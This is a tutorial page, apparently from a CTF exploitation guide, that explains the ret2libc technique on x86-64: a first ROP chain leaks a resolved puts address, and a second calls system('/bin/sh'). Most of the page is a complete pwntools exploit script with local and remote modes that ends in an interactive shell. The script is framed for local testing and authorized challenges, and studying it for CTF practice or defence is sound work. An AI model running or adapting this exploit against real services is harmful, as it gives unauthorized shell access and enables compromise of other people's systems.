Skip to content

Ret2libc

Idea: use a first ROP chain to disclose a resolved libc address, calculate the matching library base, then use a second chain to call a function in libc.

  • A local copy of the exact target ELF, with puts entries in its GOT and PLT and a return path to main.
  • A saved-return offset measured for this binary. Use the offset walkthrough.
  • An x86-64 pop rdi; ret gadget in the main binary, plus ret and pop rdi; ret gadgets in libc for the example chain.
  • The exact libc.so.6 used by the target. A local system libc may differ from the challenge’s remote libc.
  • The service must accept a second input after returning to main.

puts(puts@got) prints bytes at the GOT entry until a NUL byte, then a newline. This example assumes the puts entry has already been resolved and the leak arrives on its own line. If the target emits a label, consume that exact label first. If a newline byte occurs inside the leaked pointer, use a different leak/parsing method.

  1. Leak: place puts@got in RDI, call puts@plt, then return to main for another input.
  2. Calculate: decode the leaked pointer and subtract the offset of puts in the matching libc. The result is the runtime libc base.
  3. Call: locate "/bin/sh" and system in the relocated libc, then send a second chain to call system("/bin/sh").

The script below supports local testing and an authorized remote challenge service. The remote target must use the same main binary layout and libc file assumed by this script. A PIE main binary needs its runtime base before stage one can use its addresses.

Save as exploit.py beside chall and the matching libc.so.6. Replace the offset, prompt, and optional leak prefix with the values observed for the target.

#!/usr/bin/env python3
from pwn import *
BINARY = "./chall"
LIBC_FILE = "./libc.so.6"
OFFSET = 72 # replace with the measured saved-return offset
PROMPT = b"> " # exact prompt bytes, or None if there is no prompt
LEAK_PREFIX = b"" # set this only if the target prints a label before the leak
MAIN_ADDRESS = None # set to main's verified address if the ELF is stripped
context.log_level = "info"
context.timeout = 5
context.binary = elf = ELF(BINARY, checksec=False)
libc = ELF(LIBC_FILE, checksec=False)
if elf.bits != 64:
log.error("This example is for x86-64")
if elf.pie:
log.error("Resolve the PIE base before using the first-stage addresses")
if "puts" not in elf.got or "puts" not in elf.plt:
log.error("This binary needs puts entries in GOT and PLT")
if MAIN_ADDRESS is None:
if "main" not in elf.symbols:
log.error("Set MAIN_ADDRESS to the verified return target from Ghidra")
MAIN_ADDRESS = elf.symbols["main"]
def start():
if args.REMOTE:
if not args.HOST or not args.PORT:
log.error("Remote mode needs HOST and PORT")
return remote(args.HOST, int(args.PORT), ssl=bool(args.SSL))
return process(elf.path)
def send_payload(io, payload):
if PROMPT is None:
io.sendline(payload)
else:
io.sendlineafter(PROMPT, payload)
def main():
io = start()
rop = ROP(elf)
pop_rdi = rop.find_gadget(["pop rdi", "ret"])
if pop_rdi is None:
log.error("No pop rdi; ret gadget found in the main binary")
# Stage 1: puts(puts@GOT), then return to main for another input.
stage1 = flat({OFFSET: [
pop_rdi.address,
elf.got["puts"],
elf.plt["puts"],
MAIN_ADDRESS,
]})
send_payload(io, stage1)
if LEAK_PREFIX:
io.recvuntil(LEAK_PREFIX)
leak_line = io.recvline().rstrip(b"\r\n")
if not leak_line:
log.error("No leak received; check the first-stage output and delimiter")
leaked_puts = u64(leak_line[:8].ljust(8, b"\x00"))
libc.address = leaked_puts - libc.symbols["puts"]
if libc.address & 0xfff:
log.error("Calculated libc base is not page-aligned; verify the leak and libc file")
log.success("puts leak: %#x", leaked_puts)
log.success("libc base: %#x", libc.address)
# Stage 2: system("/bin/sh"); confirm alignment against the target in GDB.
libc_rop = ROP(libc)
ret = libc_rop.find_gadget(["ret"])
pop_rdi_libc = libc_rop.find_gadget(["pop rdi", "ret"])
if ret is None or pop_rdi_libc is None:
log.error("Required alignment or argument gadget is missing from this libc")
bin_sh = next(libc.search(b"/bin/sh\x00"), None)
if bin_sh is None:
log.error("No /bin/sh string found in the supplied libc")
stage2 = flat({OFFSET: [
ret.address,
pop_rdi_libc.address,
bin_sh,
libc.symbols["system"],
]})
send_payload(io, stage2)
io.interactive()
if __name__ == "__main__":
main()

Run locally with python3 exploit.py. For an authorized endpoint, use python3 exploit.py REMOTE HOST=challenge.example PORT=31337; add SSL=1 only if the challenge specifies TLS. If the leak is printed as text or includes extra bytes, parse that exact output instead of treating it as a raw pointer. A remote libc mismatch gives a wrong base even when the first leak is correct.